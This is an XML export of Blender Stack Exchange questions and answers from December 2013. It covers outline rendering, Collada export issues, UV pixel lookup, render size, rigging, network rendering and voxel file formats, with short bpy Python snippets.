  <row Id="5248" PostTypeId="2" ParentId="562" CreationDate="2013-12-03T08:09:05.717" Score="9" Body="&lt;h1&gt;Update&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Freestyle&quot; rel=&quot;noreferrer&quot;&gt;Freestyle&lt;/a&gt; is  natively supported in cycles as of &lt;a href=&quot;https://developer.blender.org/rBf75d87bd765fa8d961311eccf979c30665c3d037&quot; rel=&quot;noreferrer&quot;&gt;this commit&lt;/a&gt; (will be in 2.72). This means that you can do exactly as in Utas's answer, but without the extra scene/renderlayer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rHqSy.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;h2&gt;Original answer:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;You could try using &lt;a href=&quot;http://blendernpr.org/bnpr-exclusive-edge-nodes-part-3/&quot; rel=&quot;noreferrer&quot;&gt;this node setup&lt;/a&gt;, it works with composite nodes and is render engine independent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is an example render:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/UdWIL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Here are some other methods I thought of:&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Method one:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You can get outlines by using the &lt;em&gt;index passes&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable the &lt;em&gt;Material Index&lt;/em&gt; pass in &lt;em&gt;Renderlayers &gt; Passes&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/1AFBH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a new material and set the &lt;em&gt;Pass Index&lt;/em&gt; in &lt;em&gt;Properties &gt; Material &gt; Settings&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/8MBrr.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create the material:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kPHJ8.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You can then use the pass index to create an outline in compositing nodes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/OKvqW.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/OKvqW.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that a limitation is that overlapping objects will not have lines between them:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/eElRl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be worked around by using the &lt;em&gt;object Index&lt;/em&gt; for each object individually, however for large scenes this is probably too tedious.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Method two:&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Another way is with the &lt;em&gt;Filter&lt;/em&gt; node:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Repeat steps 1-3 from method one.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable the &lt;em&gt;Normal&lt;/em&gt; pass in &lt;em&gt;Render layers &gt; Passes&lt;/em&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dFj7Q.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the normal pass to create lines, then limit the lines with the material index pass: (click for full size):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/vW6Ys.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/vW6Ys.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Result&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/neO9Z.png&quot; rel=&quot;noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/neO9Z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-08-12T02:47:32.430" LastActivityDate="2014-08-12T02:47:32.430" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5249" PostTypeId="1" CreationDate="2013-12-03T11:35:29.647" Score="3" ViewCount="608" Body="&lt;p&gt;I've made a few models and when I import them into my game using assimp they all have what looks to be the starting cube in the model, usually poking out the side of the model. But when I open the model in blender the model looks fine. All the models are .dae format&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this something that can happen when exporting models or is it more likely to be a problem with how I import it into the game. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry if this is off topic, I'm trying to narrow down the possibilities.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;:: EDIT ::&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for all the help, it was actually something wrong with my import code, but there was one model that exporting with selected only fixed, there was a random point way out in the corner in one of the models &lt;/p&gt;&#xA;" OwnerUserId="1737" LastEditorUserId="1737" LastEditDate="2013-12-05T13:23:00.107" LastActivityDate="2013-12-05T13:23:00.107" Title="Exported .dae models have a cube embedded in them" Tags="&lt;export&gt;&lt;collada&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5250" PostTypeId="1" AcceptedAnswerId="5266" CreationDate="2013-12-03T11:58:54.643" Score="8" ViewCount="1230" Body="&lt;p&gt;I'm making a script that determines the color of a face, based on the texture. I have an object that is UV unwrapped and has a texture assigned. What I would like to do is find the pixels that are in the UV space of a certain face.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sqrYE.jpg&quot; alt=&quot;How to find the pixels covering the UV space of the selected face?&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have something that works, but it is terribly slow. For every face I loop over all pixels of the texture image and determine if they are inside the UV space of the face. Not the best method I think :D&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the Python API documentation I found something about &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_3/bpy.types.MeshTextureFace.html?highlight=face%20textures&quot; rel=&quot;nofollow noreferrer&quot;&gt;MeshTextureFace&lt;/a&gt; and this seems exactly what I need. But I have no idea how I could use this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="668" LastActivityDate="2016-08-24T11:42:26.783" Title="How to find the pixels of a texture for a certain face" Tags="&lt;python&gt;&lt;uv&gt;&lt;image&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5251" PostTypeId="2" ParentId="5249" CreationDate="2013-12-03T12:25:20.977" Score="4" Body="&lt;p&gt;The &lt;em&gt;most likely&lt;/em&gt; reasons are that the cube was either hidden when you exported or on another layer and you just exported the entire scene. One other thing you could try is when exporting, select the model(s) you want to export and tick &lt;em&gt;Selection Only&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y7hLs.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="12" LastActivityDate="2013-12-03T12:25:20.977" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5252" PostTypeId="1" AcceptedAnswerId="5253" CreationDate="2013-12-03T13:49:34.083" Score="5" ViewCount="16517" Body="&lt;p&gt;I want to render an image that is, for example, 170 px by 180 px. How can this be done in blender? I'm using the cycles render. Is the process any different for an animation?&lt;/p&gt;&#xA;" OwnerUserId="1250" LastEditorUserId="12" LastEditDate="2013-12-03T14:12:28.230" LastActivityDate="2013-12-03T16:25:31.297" Title="Rendering an Image with a Specific Size" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="2" ClosedDate="2013-12-03T17:11:10.697" ContentLicense="CC BY-SA 3.0" />
  <row Id="5253" PostTypeId="2" ParentId="5252" CreationDate="2013-12-03T14:05:34.797" Score="9" Body="&lt;p&gt;You can specify the render size in the dimensions section on the render panel just as you do for any other image rendering. To get the full resolution of the final image, also make sure that the &lt;em&gt;Percentage scale for render resolution&lt;/em&gt; slider is set to &lt;code&gt;100%&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This setting is also for animations, and behaves exactly the same way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/5ME2i.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="791" LastEditorUserId="1653" LastEditDate="2013-12-03T16:25:31.297" LastActivityDate="2013-12-03T16:25:31.297" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5254" PostTypeId="2" ParentId="5241" CreationDate="2013-12-03T16:10:49.513" Score="1" Body="&lt;p&gt;It's possible that you've changed a setting somewhere, but (especially if you don't know how to get to those settings anyway) I think it's more likely that you need a little more information about how rigging normally works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are a number of reasons that your bones might not be moving the way you expect them to. The most likely is that you have a constraint that is limiting the way your bones can move.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One way this normally happens is if you're setting up an IK chain, then the bone at the end is the only one that will move. The bones in the middle have all been told to maintain the IK solution, which means you can't move them. This is normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something similar can happen if you have other kinds of constraints set up. If you've used a constraint to tell a bone &quot;Always point at this other object over here,&quot; then it will always point at that other object over there, even when you try to move it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also keep in mind that when you're creating a rig, the idea is that they are BONES like in your body, which means that they are always attached to each other (this is not always true, but is usually how characters are done). So if your forearm can't move (because you don't have it selected) and your shoulder can't move (because you don't have it selected) then if you try to move your upper arm, it's not going to go anywhere; it's locked in place because it's not allowed to influence the two other bones it's attached to. Of course, this isn't how your body works, but keep in mind that the computer is dumb. It can only make assumptions that it's been TOLD to make, and it's usually safer not to make any assumptions, so it doesn't make a bone move until you tell it exactly how to move it, either by selecting it, or by giving it rules like with a constraint.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although I'm using anatomical illustrations, the principles apply to any other kind of rig in which your bones are attached to each other in a hierarchy.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2013-12-03T16:10:49.513" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5255" PostTypeId="2" ParentId="2745" CreationDate="2013-12-03T16:22:11.390" Score="12" Body="&lt;p&gt;I had the same issue converting hair particle into mesh, then trying to bake it in a low-poly model to use in a game engine. I found that there's no one-click solution built into the Blender, so here's my work-around:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Convert the particle into edge loops (click &quot;convert&quot; button in the modifier stack)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Convert the edge loops into bezier curves (select the edge loops and hit &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make them solid and shape them up using bevel and taper objects (Properties Panel &gt; Object Data &gt; Geometry)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Finally convert them back into mesh object (select the object and &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt;)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;You need to do quite a few steps in this workflow but it yields more control over final shapes.&lt;/p&gt;&#xA;" OwnerUserId="1738" LastEditorUserId="20" LastEditDate="2013-12-03T17:36:21.210" LastActivityDate="2013-12-03T17:36:21.210" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5256" PostTypeId="2" ParentId="5242" CreationDate="2013-12-03T19:37:11.560" Score="0" Body="&lt;p&gt;I have another idea, you could calculate the angle between the z-axis which points upward and convert the camera rotation to a transformation matrix to create another vector pointing to the camera. After that you can determine the angle of the camera to the z-axis with the dot product which returns the cosine of the angle. @samblers suggestion doesn't seem to take rotations on the cameres y and z-axis into account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With this method you could limit (if..else) the angle from 0..70 (max 90)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;import math&#xA;from mathutils import Vector &#xA;&#xA;camera = bpy.data.objects[&quot;Camera&quot;]&#xA;origin_z = Vector((0,0,1))&#xA;cam_rot  = camera.rotation_euler.to_matrix().to_4x4()&#xA;z_cam  = origin_z * cam_rot&#xA;angle = math.degrees(math.acos( origin_z.dot( z_cam )))&#xA;print( angle )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I verified this with the Math Vis addon enabled:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/O5PUQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might find this a great tool when coping with rotations and vectors. Simply enter &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;origin_z = Vector((0,0,1))&#xA;cam_rot  = camera.rotation_euler.to_matrix().to_4x4() &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;into the console and see how it looks like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some examples:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ngG9f.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Prints 0.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6DY1S.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Prints 39.00000357556496&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/oFGlz.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Prints 39.00001985547789&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/n4Iyu.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Prints 53.46396688981824&lt;/p&gt;&#xA;" OwnerUserId="29" LastEditorUserId="29" LastEditDate="2013-12-03T19:43:35.000" LastActivityDate="2013-12-03T19:43:35.000" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="5257" PostTypeId="2" ParentId="4953" CreationDate="2013-12-03T19:57:24.400" Score="2" Body="&lt;p&gt;This occurs not just with key presses but all Blender sensors.  All sensors send at least 2 pulses, a positive and then a negative.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sensor = bge.logic.getCurrentController.owner[&quot;Sensor&quot;]&#xA;&#xA;if sensor.positive:&#xA;    Do something&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1740" LastActivityDate="2013-12-03T19:57:24.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5258" PostTypeId="2" ParentId="5151" CreationDate="2013-12-03T20:33:45.900" Score="10" Body="&lt;p&gt;try following these steps&lt;/p&gt;&#xA;&#xA;&lt;p&gt;after &lt;em&gt;joining&lt;/em&gt; all the separate parts and the body mesh together, you should &lt;em&gt;parent&lt;/em&gt; the body mesh to the armature by ( in object mode )&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;selecting the mesh then the armature and pressing &lt;strong&gt;Ctrl P&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;select &lt;em&gt;Armature Deform&lt;/em&gt; &gt;&gt; &lt;em&gt;With Automatic Weights&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;select only the mesh and go to &lt;em&gt;Modifiers&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;deselect &lt;em&gt;Bone Envelopes&lt;/em&gt; in the &lt;em&gt;Armature Modifier&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cxdTX.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;5&quot;&gt;&#xA;&lt;li&gt;press &lt;strong&gt;Tab&lt;/strong&gt; to enter &lt;em&gt;Edit Mode&lt;/em&gt; and navigate to &lt;em&gt;Vertex Groups&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;ensure only necessary vertices belong to each &lt;em&gt;Vertex Group&lt;/em&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/obAFL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol start=&quot;7&quot;&gt;&#xA;&lt;li&gt;press &lt;strong&gt;Tab&lt;/strong&gt; to enter &lt;em&gt;Object Mode&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;select the armature and press &lt;strong&gt;Ctrl Tab&lt;/strong&gt; to enter &lt;em&gt;Pose Mode&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;select a bone and move by pressing &lt;strong&gt;G&lt;/strong&gt; or rotate by pressing &lt;strong&gt;R&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;hope this helps!&lt;/p&gt;&#xA;" OwnerUserId="1739" LastActivityDate="2013-12-03T20:33:45.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5259" PostTypeId="1" AcceptedAnswerId="5268" CreationDate="2013-12-03T20:41:16.350" Score="2" ViewCount="1630" Body="&lt;p&gt;You know an aircraft engine? The gigantic fans on the sides of the aeroplane? Well, there will be seven of those in a circle facing to where the powder comes out and it will spray a liquid onto it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/BfPmG.png&quot; alt=&quot;http://i.stack.imgur.com/BfPmG.png&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How should I attempt this, please give examples!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks &lt;/p&gt;&#xA;" OwnerUserId="1526" LastEditorUserId="599" LastEditDate="2013-12-04T00:09:17.193" LastActivityDate="2013-12-04T00:09:17.193" Title="How to simulate engines spraying a fluid?" Tags="&lt;physics&gt;&lt;fluid-simulation&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5260" PostTypeId="2" ParentId="5259" CreationDate="2013-12-03T20:51:13.677" Score="1" Body="&lt;p&gt;It seems like you want the array modifier. This modifier will let you create a single object (like a jet turbine) and then duplicate it in a controlled manner. Also, you'll want to use the object offset setting of the array modifier, rather than the xyz offset. That will allow you to make an array of (turbines?) around the target object in the center (usually just an empty).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, although the fluid sim seems like the best option, I'd recommend avoid it because it's probably more &quot;expensive&quot; than it's worth. There's probably a more efficient way to visualize the fluid. Maybe another particle sim? Or something that's not simulated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Good luck!&lt;/p&gt;&#xA;" OwnerUserId="1653" LastActivityDate="2013-12-03T20:51:13.677" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5261" PostTypeId="1" CreationDate="2013-12-03T21:08:25.493" Score="5" ViewCount="1028" Body="&lt;p&gt;I am making a tank in Blender and now I am at the part where I need to create the wheels and track parts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want my tracks to have physics with the ground, so I guess I should rig the wheels. But I also want the tracks to smoothly follow the tracks and be affected by the ground and gravity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My question is, how do I proceed with this?&#xA;Do I have to parents objects and stuff? I've got no idea on how to do this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Creating the models is not the problem, but rigging it is.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope you guys can help.&lt;/p&gt;&#xA;" OwnerUserId="1741" LastActivityDate="2013-12-03T21:08:25.493" Title="Rigging tank tracks" Tags="&lt;rigging&gt;" AnswerCount="0" CommentCount="5" ClosedDate="2014-03-04T20:46:17.250" ContentLicense="CC BY-SA 3.0" />
  <row Id="5262" PostTypeId="1" AcceptedAnswerId="5263" CreationDate="2013-12-03T22:16:25.197" Score="7" ViewCount="2632" Body="&lt;p&gt;I would like to use blender net render feature, but I know, that currently it does not support baking fluid simulations (see &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Render/Performance/Netrender&quot;&gt;Blender Netrender Manual&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to bake it locally and then use it in network rendering?&lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2013-12-03T22:52:48.563" Title="How to use baked fluid with network render?" Tags="&lt;rendering&gt;&lt;network&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="5263" PostTypeId="2" ParentId="5262" CreationDate="2013-12-03T22:18:59.583" Score="4" Body="&lt;p&gt;Yes, but all the networked machines will need access to the cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way to do a network render:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;All machines need access to the blendfile and any external data (textures, fluid sim caches, etc.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make all the machines output the rendered images to a shared directory&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Disable &lt;em&gt;Overwrite&lt;/em&gt; in &lt;em&gt;Render Settings &gt; Output&lt;/em&gt; for all machines.&lt;br&gt;&#xA;The &lt;em&gt;Overwrite&lt;/em&gt; option will overwrite existing image files in the output directory. Disabling it causes blender to skip rendering the frame if a corresponding file already exists.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enable &lt;em&gt;Placeholders&lt;/em&gt; in &lt;em&gt;Render settings &gt; Output&lt;/em&gt; for all machines.&lt;br&gt;&#xA;When rendering is started on a new frame, if the &lt;em&gt;Placeholders&lt;/em&gt; option is enabled, blender will create an empty file where the final output image will be written after the render is complete.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Then:&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Open the blendfile on the first machine and start the render&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open the blendfile on the second machine and start the render&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Each machine will output images to the shared output directory and skip already rendered frames because &lt;em&gt;Overwrite&lt;/em&gt; is disabled. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Placeholders&lt;/em&gt; is enabled so that machines will skip rendering frames that other machines are working on at the same time.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2013-12-03T22:52:48.563" LastActivityDate="2013-12-03T22:52:48.563" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="5264" PostTypeId="2" ParentId="4875" CreationDate="2013-12-03T22:23:29.857" Score="3" Body="&lt;p&gt;First off, that's not ASCII; this is merely a misinterpretation of the raw data. The actual format can be figured out from Blender source files &lt;code&gt;render/intern/include/voxeldata.h&lt;/code&gt; and &lt;code&gt;render/intern/source/voxeldata.c&lt;/code&gt; together with &lt;code&gt;blenlib/intern/voxel.c&lt;/code&gt;. The format is used for 3-dimensional textures. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The header is read by read_voxeldata_header(), and consists of four ints: the X, Y and Z dimensions, as well as the number of frames. There's no code to handle endianness nor size variations, so the files aren't portable across platforms. Most current platforms will store these as 32-bit little endian. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Next come the frames, in order. Each frame is also stored in raw memory format, as X*Y*Z floats; this will typically be IEEE 754 single precision (32 bit) values. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Within each frame, the order of the voxels is defined in the sampling functions. They use a macro named BLI_VOXEL_INDEX to perform the lookup, defined in &lt;code&gt;blenlib/BLI_voxel.h&lt;/code&gt;. It shows that the order is along X axis first, then Y axis, then finally Z axis. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The raw 8-bit format is similar, but has no header, and uses only 8 bit fixed point values; the voxel value is databyte/255.0. This requires the actual dimensions of the voxel to be entered in Blender. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The image sequence format simply uses a layered group of images, along ascending Z axis. The pixel data gets averaged into a grayscale voxel texture. &lt;/p&gt;&#xA;" OwnerUserId="1742" LastActivityDate="2013-12-03T22:23:29.857" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="5265" PostTypeId="2" ParentId="5120" CreationDate="2013-12-03T22:46:41.847" Score="3" Body="&lt;p&gt;I had also such a problem and solved it by deselecting &lt;code&gt;WITH_CYCLES_CUDA_BINARIES&lt;/code&gt; in cmake(-gui).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Without this blender will compile the correct &lt;code&gt;.cubin&lt;/code&gt; file when you first try to render with the GPU. This will take a while (a few minutes on my i7), but it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To solve the problem with 32-bit you probably need to install &lt;code&gt;glibc-devel-32bit&lt;/code&gt; (or similar, so called on openSUSE). There was some error about missing a header out of this while compiling blender.&lt;/p&gt;&#xA;" OwnerUserId="633" LastActivityDate="2013-12-03T22:46:41.847" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="5266" PostTypeId="2" ParentId="5250" CreationDate="2013-12-03T22:55:37.173" Score="4" Body="&lt;p&gt;By the sounds of it, you just need to optimize what you have.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some suggestions.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Don't check &lt;em&gt;every pixel&lt;/em&gt;, at the very least calculate a bounding box around the face's UV's and only check those pixels.&lt;/li&gt;&#xA;&lt;li&gt;Rather then do a point-in-polygon test for each pixel. Use a scan-line method. See:  &lt;a href=&quot;http://alienryderflex.com/polygon_fill&quot; rel=&quot;nofollow&quot;&gt;Darel Rex Finley's Efficient Polygon Fill&lt;/a&gt;, Or Blenders version of it &lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/source/blender/blenlib/intern/math_geom.c;3b4a8f1cfa7339f3db9ddd4a7974b8cc30d7ff0b$2411&quot; rel=&quot;nofollow&quot;&gt;fill_poly_v2i_n&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Note that being a scripting language Python isn't ideal for these tasks - but it can likely be sped up enough to be usable as long as you don't need real-time feedback.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Update, made a more efficient version of Darel Rex's algorithm, &lt;a href=&quot;https://gist.github.com/ideasman42/983738130f754ef58ffa66bcdbbab892&quot; rel=&quot;nofollow&quot;&gt;see link&lt;/a&gt;.&lt;br&gt;(avoids looping over &lt;strong&gt;all coordinates&lt;/strong&gt; for each y-pixel).&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2016-08-24T11:42:26.783" LastActivityDate="2016-08-24T11:42:26.783" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
